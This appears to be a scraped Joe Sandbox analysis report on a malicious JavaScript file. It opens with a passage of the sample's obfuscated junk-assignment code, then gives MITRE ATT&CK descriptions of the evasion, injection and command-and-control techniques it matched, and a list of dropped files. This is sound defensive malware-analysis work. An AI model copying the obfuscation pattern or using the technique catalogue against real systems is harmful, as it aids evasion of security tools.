1202	ssbfz = "x";
1203	ssbfz = "Z";
1204	ssbfz = "n";
1205	ssbfz = "O";
1206	ssbfz = "P";
1207	ssbfz = "f";
1208	ssbfz = "c";
1209	ssbfz = "Z";
1210	ssbfz = "F";
1211	ssbfz = "a";
1212	ssbfz = "L";
1213	ssbfz = "r";
1214	ssbfz = "L";
1215	ssbfz = "A";
1216	ssbfz = "s";
1217	ssbfz = "I";
1218	ssbfz = "y";
1219	ssbfz = "D";
1220	ssbfz = "x";
1221	ssbfz = "q";
1222	ssbfz = "S";
1223	ssbfz = "U";
1224	ssbfz = "f";
1225	ssbfz = "u";
1226	ssbfz = "o";
1227	ssbfz = "o";
1228	ssbfz = "_";
1229	lenbypf = "N";
1230	lenbypf = "h";
1231	lenbypf = "w";
1232	lenbypf = "o";
1233	mthubdk = "O";
1234	mthubdk = "P";
1235	mthubdk = "f";
1236	mthubdk = "w";
1237	mthubdk = "P";
1238	mthubdk = "d";
1239	mthubdk = "O";
1240	mthubdk = "r";
1241	mthubdk = "H";
1242	mthubdk = "w";
1243	mthubdk = "X";
1244	mthubdk = "z";
1245	mthubdk = "G";
1246	mthubdk = "L";
1247	mthubdk = "a";
1248	mthubdk = "G";
1249	mthubdk = "e";
1250	mthubdk = "i";
1251	mthubdk = "w";
1252	mthubdk = "r";
1253	mthubdk = "B";
1254	mthubdk = "n";
1255	mthubdk = "e";
1256	mthubdk = "r";
1257	mthubdk = "T";
1258	mthubdk = "P";
1259	mthubdk = "J";
1260	mthubdk = "b";
1261	mthubdk = "@";
1262	qdxptkbn = "a";
1263	qdxptkbn = "j";
1264	qdxptkbn = "X";
1265	qdxptkbn = "b";
1266	qdxptkbn = "e";
1267	qdxptkbn = "a";
1268	qdxptkbn = "f";
1269	qdxptkbn = "h";
1270	qdxptkbn = "B";
1271	qdxptkbn = "P";
1272	qdxptkbn = "m";
1273	qdxptkbn = "z";
1274	qdxptkbn = "s";
1275	qdxptkbn = "Q";
1276	qdxptkbn = "O";
1277	qdxptkbn = "M";
1278	qdxptkbn = "U";
1279	qdxptkbn = "O";
1280	qdxptkbn = "W";
1281	qdxptkbn = "d";
1282	qdxptkbn = "e";
1283	qdxptkbn = "b";
1284	qdxptkbn = "Z";
1285	qdxptkbn = "a";
1286	qdxptkbn = "v";
1287	qdxptkbn = "Y";
1288	qdxptkbn = "b";
1289	qdxptkbn = "E";
1290	evykwypc = "k";
1291	evykwypc = "w";
1292	evykwypc = "x";
1293	evykwypc = "B";
1294	evykwypc = "O";
1295	evykwypc = "H";
1296	evykwypc = "h";
1297	evykwypc = "e";
1298	evykwypc = "S";
1299	evykwypc = "F";
1300	evykwypc = "x";
1301	evykwypc = "T";
1302	evykwypc = "j";
1303	evykwypc = "Q";
1304	evykwypc = "p";
1305	evykwypc = "Q";
1306	evykwypc = "0";
1307	avumgvzz = "M";
1308	avumgvzz = "Y";
1309	avumgvzz = "i";
1310	avumgvzz = "d";
1311	avumgvzz = "P";
1312	avumgvzz = "L";
1313	avumgvzz = "e";
1314	avumgvzz = "j";
1315	avumgvzz = "h";
1316	avumgvzz = "i";
1317	avumgvzz = "S";
1318	avumgvzz = "P";
1319	avumgvzz = "H";
1320	avumgvzz = "A";
1321	avumgvzz = "m";
1322	avumgvzz = "g";
1323	avumgvzz = "E";
1324	avumgvzz = "N";
1325	avumgvzz = "t";
1326	avumgvzz = "S";
1327	avumgvzz = "n";
1328	avumgvzz = "I";
1329	avumgvzz = "Q";
1330	avumgvzz = "e";
1331	avumgvzz = "H";
1332	avumgvzz = "W";
1333	uwwci = "T";
1334	uwwci = "I";
1335	uwwci = "O";
1336	uwwci = "D";
1337	uwwci = "d";
1338	uwwci = ".";
1339	jzisqogp = "L";
1340	jzisqogp = "X";
1341	jzisqogp = "J";
1342	jzisqogp = "Z";
1343	jzisqogp = "Q";
1344	jzisqogp = "z";
1345	jzisqogp = "S";
1346	jzisqogp = "Q";
1347	jzisqogp = "f";
1348	jzisqogp = "k";
1349	jzisqogp = "K";
1350	jzisqogp = "O";
1351	jzisqogp = "J";
1352	jzisqogp = "V";
1353	jzisqogp = "h";
1354	jzisqogp = "D";
1355	jzisqogp = "E";
1356	jzisqogp = "e";
1357	jzisqogp = "R";
1358	jzisqogp = "V";
1359	jzisqogp = "p";
1360	jzisqogp = "J";
1361	jzisqogp = "X";
1362	jzisqogp = "p";
1363	jzisqogp = "j";
1364	jzisqogp = "D";
1365	jzisqogp = "W";
1366	jzisqogp = "R";
1367	jzisqogp = "K";
1368	jzisqogp = "H";
1369	jzisqogp = "I";
1370	jzisqogp = "S";
1371	jzisqogp = "I";
1372	jzisqogp = "i";
1373	jzisqogp = "B";
1374	jzisqogp = "H";
1375	jzisqogp = "p";
1376	jzisqogp = "t";
1377	jzisqogp = "Q";
1378	jzisqogp = "n";
1379	ypmmgvoqn = "j";
1380	ypmmgvoqn = "f";
1381	ypmmgvoqn = "T";
1382	ypmmgvoqn = "d";
1383	ypmmgvoqn = "z";
1384	ypmmgvoqn = "J";
1385	ypmmgvoqn = "k";
1386	ypmmgvoqn = "u";
1387	ypmmgvoqn = "A";
1388	ypmmgvoqn = "P";
1389	ypmmgvoqn = "w";
1390	ypmmgvoqn = "z";
1391	ypmmgvoqn = "E";
1392	ypmmgvoqn = "U";
1393	ypmmgvoqn = "n";
1394	ypmmgvoqn = "j";
1395	ypmmgvoqn = "a";
1396	ypmmgvoqn = "j";
1397	xcxde = "X";
1398	xcxde = "H";
1399	xcxde = "E";
1400	xcxde = "j";
1401	xcxde = "y";
1402	xcxde = "P";
1403	xcxde = "g";
1404	xcxde = "A";
1405	xcxde = "D";
1406	xcxde = "h";
1407	xcxde = "a";
1408	xcxde = "M";
1409	xcxde = "F";
1410	xcxde = "v";
1411	xcxde = "Z";
1412	xcxde = "N";
1413	xcxde = "n";
1414	xcxde = "M";
1415	xcxde = "u";
1416	xcxde = "a";
1417	xcxde = "g";
1418	xcxde = "b";
1419	xcxde = "j";
1420	xcxde = "I";
1421	xcxde = "H";
1422	xcxde = "p";
1423	xcxde = "S";
1424	xcxde = "b";
1425	xcxde = "Q";
1426	xcxde = "w";
1427	xcxde = "r";
1428	xcxde = "R";
1429	xcxde = "D";
1430	xcxde = "p";
1431	xcxde = "m";
1432	xcxde = "I";
1433	xcxde = "g";
1434	mmmvd ( );	mmmvd() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 241198432146011036.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\06e5f091-5209-49d2-baf9-0f85f7e74e35.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3aeaa1b4-31b8-40e1-9a14-1da8c5d719b0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3e8242.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
241198432146011036.js